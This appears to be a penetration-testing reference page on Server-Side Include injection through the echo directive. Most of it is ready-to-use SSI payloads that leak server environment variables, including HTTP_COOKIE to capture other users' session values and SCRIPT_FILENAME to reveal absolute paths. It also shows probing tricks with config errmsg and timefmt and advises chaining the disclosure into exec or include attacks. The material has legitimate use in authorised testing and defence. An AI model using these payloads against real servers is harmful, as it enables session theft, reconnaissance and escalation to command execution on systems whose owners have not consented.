The echo directive prints the value of an SSI or CGI environment variable into the page. Where exec is blocked, echo is often still enabled, and it is a reliable way to confirm that SSI is being evaluated and to pull server state into the response without running a command.
The directive#
<!--#echo var="DOCUMENT_NAME"-->
<!--#echo var="DATE_LOCAL"-->
A reflected value proves the directive was parsed. DOCUMENT_NAME and DATE_LOCAL are standard SSI variables and make clean, low-risk probes.
Built-in variables#
mod_include exposes a fixed set of variables describing the current document and request:
<!--#echo var="DOCUMENT_NAME"-->
<!--#echo var="DOCUMENT_URI"-->
<!--#echo var="DATE_LOCAL"-->
<!--#echo var="DATE_GMT"-->
<!--#echo var="LAST_MODIFIED"-->
DOCUMENT_URI is the request's URL path and DOCUMENT_NAME the requested document's name, not the real on-disk path, so they confirm where reflected input is being rendered in URL space. The absolute filesystem path comes from SCRIPT_FILENAME or PATH_TRANSLATED below, when the server exposes them.
CGI and request variables#
The CGI variable set leaks far more. Client-controlled headers and connection metadata are all reachable:
<!--#echo var="HTTP_USER_AGENT"-->
<!--#echo var="HTTP_COOKIE"-->
<!--#echo var="REMOTE_ADDR"-->
<!--#echo var="REMOTE_PORT"-->
<!--#echo var="SERVER_SOFTWARE"-->
<!--#echo var="SERVER_NAME"-->
<!--#echo var="SERVER_ADDR"-->
<!--#echo var="QUERY_STRING"-->
<!--#echo var="PATH_TRANSLATED"-->
<!--#echo var="SCRIPT_FILENAME"-->
SERVER_SOFTWARE fingerprints the stack. SCRIPT_FILENAME and PATH_TRANSLATED reveal absolute filesystem paths, which feed directly into file inclusion and command payloads that need an exact path. HTTP_COOKIE can expose another user's session value when the directive is stored and rendered in an administrative view.
Reflecting attacker-controlled variables#
Because header-derived variables such as HTTP_USER_AGENT echo request input back out, they double as a cross-check. Set a marker in the header and read it back through echo:
User-Agent: SSIPROBE-7f3a
<!--#echo var="HTTP_USER_AGENT"-->
Seeing SSIPROBE-7f3a in the response confirms both that SSI runs and that the header reaches the parsed page.
Custom and configured variables#
Variables defined with set, or CGI variables exported by the application's environment, are readable by name. Enumerate likely names once the server software is known:
<!--#set var="probe" value="x"--><!--#echo var="probe"-->
<!--#echo var="HTTPS"-->
<!--#echo var="SERVER_PROTOCOL"-->
A non-existent variable typically renders as (none), which itself distinguishes a parsed directive from one that was passed through untouched.
Formatting the output#
The config directive controls how echo renders values, and timefmt in particular changes the format of the date variables. Setting it before an echo is a clean, side-effect-free way to prove the parser is live and to vary output so caching or filtering does not mask the reflection:
<!--#config timefmt="%Y-%m-%d %H:%M:%S"--><!--#echo var="DATE_LOCAL"-->
config errmsg overrides the string the server emits when a later directive fails, which is useful for distinguishing a parsed-but-failed directive from one that was never evaluated:
<!--#config errmsg="SSI-ACTIVE"--><!--#include virtual="/does-not-exist"-->
If the response contains SSI-ACTIVE in place of the default error text, the directive stream is being parsed even though the include itself failed.
Chaining disclosure into other primitives#
Environment disclosure is usually a stepping stone. SCRIPT_FILENAME and PATH_TRANSLATED give the absolute on-disk location of the parsed page (while DOCUMENT_URI gives only its URL path), which lets file inclusion and command payloads use exact paths rather than stacking traversal sequences blindly. SERVER_SOFTWARE and SERVER_PROTOCOL fingerprint the stack so later payloads match the server. Collect these first, then pivot to exec or include with the paths and version details already in hand.
Tools#
- Burp Repeater: submitting
echo varprobes and reading reflected values. - Manual testing with crafted
<!--#echo var-->and<!--#config-->directives.